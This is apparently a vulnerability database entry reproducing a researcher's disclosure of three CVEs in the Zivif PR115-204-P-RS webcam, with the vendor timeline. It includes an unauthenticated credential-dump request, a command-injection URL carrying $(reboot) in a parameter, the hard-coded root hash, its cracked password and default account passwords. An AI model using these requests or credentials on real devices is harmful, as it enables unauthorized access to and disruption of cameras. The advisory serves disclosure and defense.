var-201712-0829
Vulnerability from variot
Credentials for Zivif PR115-204-P-RS V2.3.4.2103 Webcams can be obtained by an unauthenticated remote attacker using a standard web /cgi-bin/hi3510/param.cgi?cmd=getuser HTTP request. This vulnerability exists because of a lack of authentication checks in requests to CGI pages. Zivif Web The camera contains a vulnerability related to certificate and password management.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. The ZivifPR115-204-P-RS is a network camera device. Attack vector: Remote
Authentication: None
Researcher: Silas Cutler p1nk
silas.cutler@blacklistthisdomain.com
Release date: December 10, 2017
Full Disclosure: 90 days
CVEs: CVE-2017-17105, CVE-2017-17106, and CVE-2017-17107
Vulnerable Device: Zivif PR115-204-P-RS
Version: V2.3.4.2103
Timeline: 1 September 2017: Initial alerting to Zivif 1 September 2017: Zivif contact established. 3 September 2017: Details provided. 7 September 2017: Confirmation of vulnerabilities from Zivif 5 December 2017: Public note on Social Media CVE-2017-17105, CVE-2017-17106, and CVE-2017-17107 would be included in HackerStrip comic. 10 December 2017: This email
-[Overview]- Implementation of access controls is Zivif cameras is severely lacking.
This was first identified with the following request (CVE-2017-17106)
http://
var name0="admin"; var password0="admin"; var authLevel0="255"; var name1="guest"; var password1="guest"; var authLevel1="3"; var name2="admin2"; var password2="admin"; var authLevel2="3"; var name3=""; var password3=""; var authLevel3="3"; var name4=""; var password4=""; var authLevel4="3"; var name5=""; var password5=""; var authLevel5="3"; var name6=""; var password6=""; var authLevel6="3"; var name7=""; var password7=""; var authLevel7="3"; var name8=""; var password8=""; var authLevel8="0"; var name9=""; var password9=""; var authLevel9="0 Credentials are returned in cleartext to the requester.
In exploring, unauthenticated remote command injection is possible using
(CVE-2017-17105)
http://
Command results are not returned, however are executed by the system.
One last findings was the /etc/passwd file contains the following hard-coded entry (CVE-2017-17107): root:$1$xFoO/s3I$zRQPwLG2yX1biU31a2wxN/:0:0::/root:/bin/sh
The encrypted password is cat1029.
(none) login: root Password: Login incorrect (none) login: root Password: Welcome to SONIX. \u@\h:\W$ Because of the way the file system is structured, changing this password requires more work then running passwd.
-[Note]- The hi3510 is shared with a couple other cameras I'm exploring. The motd saying /Welcome to SONIX/ has lead me to speculate parts of this firmware may be shared with other cameras.
-Silas
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This vulnerability exists because of a lack of authentication checks in requests to CGI pages. Zivif Web The camera contains a vulnerability related to certificate and password management.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. The ZivifPR115-204-P-RS is a network camera device. Attack vector: Remote\nAuthentication: None\nResearcher: Silas Cutler `p1nk` \u003csilas.cutler@blacklistthisdomain.com\u003e\nRelease date: December 10, 2017\nFull Disclosure: 90 days\nCVEs: CVE-2017-17105, CVE-2017-17106, and CVE-2017-17107\nVulnerable Device: Zivif PR115-204-P-RS\nVersion: V2.3.4.2103\n\n\nTimeline:\n1 September 2017: Initial alerting to Zivif\n1 September 2017: Zivif contact established. \n3 September 2017: Details provided. \n7 September 2017: Confirmation of vulnerabilities from Zivif\n5 December 2017: Public note on Social Media CVE-2017-17105,\nCVE-2017-17106, and CVE-2017-17107 would be included in HackerStrip comic. \n10 December 2017: This email\n\n\n-[Overview]-\nImplementation of access controls is Zivif cameras is severely lacking. \n\nThis was first identified with the following request (CVE-2017-17106)\nhttp://\u003cCamera Address\u003e/web/cgi-bin/hi3510/param.cgi?cmd=getuser\nCameras respond to this with:\n\nvar name0=\"admin\"; var password0=\"admin\"; var authLevel0=\"255\"; var\nname1=\"guest\"; var password1=\"guest\"; var authLevel1=\"3\"; var\nname2=\"admin2\"; var password2=\"admin\"; var authLevel2=\"3\"; var name3=\"\";\nvar password3=\"\"; var authLevel3=\"3\"; var name4=\"\"; var password4=\"\";\nvar authLevel4=\"3\"; var name5=\"\"; var password5=\"\"; var authLevel5=\"3\";\nvar name6=\"\"; var password6=\"\"; var authLevel6=\"3\"; var name7=\"\"; var\npassword7=\"\"; var authLevel7=\"3\"; var name8=\"\"; var password8=\"\"; var\nauthLevel8=\"0\"; var name9=\"\"; var password9=\"\"; var authLevel9=\"0\nCredentials are returned in cleartext to the requester. \n\nIn exploring, unauthenticated remote command injection is possible using\n(CVE-2017-17105)\nhttp://\u003cCamera\nIP\u003e/cgi-bin/iptest.cgi?cmd=iptest.cgi\u0026-time=\"1504225666237\"\u0026-url=$(reboot)\n\nCommand results are not returned, however are executed by the system. \n\nOne last findings was the /etc/passwd file contains the following\nhard-coded entry (CVE-2017-17107):\nroot:$1$xFoO/s3I$zRQPwLG2yX1biU31a2wxN/:0:0::/root:/bin/sh\n\nThe encrypted password is cat1029. \n\n(none) login: root\nPassword:\nLogin incorrect\n(none) login: root\nPassword:\nWelcome to SONIX. \n\\u@\\h:\\W$\nBecause of the way the file system is structured, changing this password\nrequires more work then running passwd. \n\n-[Note]-\nThe hi3510 is shared with a couple other cameras I\u0027m exploring. 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Sightings
Author | Source | Type | Date |
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Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
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